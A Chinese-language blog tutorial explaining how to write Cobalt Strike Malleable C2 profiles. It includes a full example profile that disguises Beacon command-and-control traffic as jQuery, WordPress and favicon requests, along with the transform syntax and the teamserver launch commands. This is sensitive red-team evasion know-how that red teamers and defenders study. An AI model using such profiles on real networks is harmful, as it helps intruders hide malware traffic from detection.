【逆向】Cobalt Strike Malleable C2配置文件编写教程

前言

Malleable C2是Cobalt Strike的一个功能,它允许我们通过编写配置文件来改变Beacon与C2通信时的流量特征与行为。在学习之前我们先通过下图了解下Beacon与Teamserver通信的基础过程。

示例

以下示例基本包含了编写配置文件需要用到的元素。

  1 #设置全局选项
  2 set sample_name "my";
  3 set sleeptime "5000";
  4 
  5 http-get
  6 {
  7     #设置针对get请求的url路径
  8     set uri "/jquery.min.js";
  9 
 10     client
 11     {
 12         #设置客户端请求的头部字段与url参数
 13         header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
 14         parameter "ver" "1.2.4";
 15 
 16         #发送会话元数据
 17         metadata
 18         {
 19             base64;                #base64编码
 20             prepend "token=";      #数据前追加字符串
 21             header "Cookie";       #保存数据到Cookie字段
 22         }
 23     }
 24 
 25     server
 26     {
 27         #设置服务端请求的头部字段
 28         header "Server" "Apache/2.4.39 (Unix)";
 29         header "Content-Type" "application/javascript; charset=utf-8";
 30 
 31         #返回需要执行的任务信息
 32         output
 33         {
 34             base64;
 35             prepend "/*! jQuery v2.1.3";
 36             append "var nc=a.jQuery,oc=a.$;";
 37             print;
 38         }
 39     }
 40 }
 41 
 42 http-post
 43 {
 44     set uri "/wp-admin";
 45 
 46     client
 47     {
 48         header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
 49         header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
 50 
 51         #发送任务ID
 52         id
 53         {
 54             base64;
 55             prepend "PHPSESSID=";
 56             header "Cookie";
 57         }
 58 
 59         #发送任务执行结果
 60         output
 61         {
 62             base64;
 63             print;
 64         }
 65     }
 66 
 67     server
 68     {
 69         header "Server" "Apache/2.4.39 (Unix)";
 70         header "Content-Type" "text/html; charset=UTF-8";
 71 
 72         #返回空
 73         output
 74         {
 75             base64;
 76             print;
 77         }
 78     }
 79 }
 80 
 81 http-stager
 82 {
 83     set uri_x86 "/favicon1.ico";
 84     set uri_x64 "/favicon2.ico";
 85 
 86     client
 87     {
 88         header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
 89     }
 90 
 91     server
 92     {
 93         header "Server" "Apache/2.4.39 (Unix)";
 94         header "Content-Type" "image/x-icon";
 95 
 96         #返回有效载荷
 97         output
 98         {
 99             print;
100         }
101     }
102 }
View Code

语句

使用以下语句编写配置文件,可以完成对C2流量特征与行为的自定义过程。

数据转换

 1 //对传输数据进行编码
 2 base64:        //base64编码
 3 base64url:     //base64编码后数据可以放在rul中
 4 mask:          //xor异或加密
 5 netbios:       //SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’)
 6 netbiosu:      //SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’)
 7 
 8 //在传输数据的起始和结尾部分追加字符串
 9 prepend:       //前置字符串
10 append:        //结尾字符串

终止语句

1 //设置传输数据存储的位置
2 header "Cookie"    //将数据存储在HTTP头Cookie字段中
3 parameter "Key"    //将数据存储在URL参数中
4 
5 print              //将数据存储在Body中
6 uri-append         //将数据附加到URL中

额外语句

1 //parameter: 在rul结尾添加?bar = blah参数
2 http-get {
3     client {
4         parameter "bar" "blah";
5         
6 //header: 在请求头添加X-Not-Malware字段
7 http-get {
8     server {
9         header "X-Not-Malware" "I promise!";

转义字符

1 "\n"        //换行符
2 "\r"        //回车符
3 "\t"        //制表符
4 "\u####"    //Unicode字符
5 "\x##"      //字节符(例如:\x41 = 'A')
6 "\\"        //\

可用选项

可用选项分为2种类型:全局选项和局部选项。
全局选项在文件头部设置,全局选项将更改全局Beacon设置。
你可以使用“set”语句在配置文件中设置可用选项来配置Beacon的默认值。

1 //设置默认睡眠时间为1000毫秒
2 set "sleeptime" "1000";

测试与使用

Cobalt Strike软件包中包含一个c2lint程序,你可以使用该程序对配置文件语法进行检查,或者使用随机数据对配置文件进行单元测试。

// ./c2lint [/path/to/my.profile]

配置文件检测通过后你可以在启动Cobalt Strike团队服务器时,指定加载该配置文件。

// ./teamserver [external IP] [password] [/path/to/my.profile]

参考资料

https://www.cobaltstrike.com/help-malleable-c2
https://exp10it.cn/#/posts/69
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

posted @ 2020-05-25 00:04  SunsetR  阅读(1490)  评论(0编辑  收藏  举报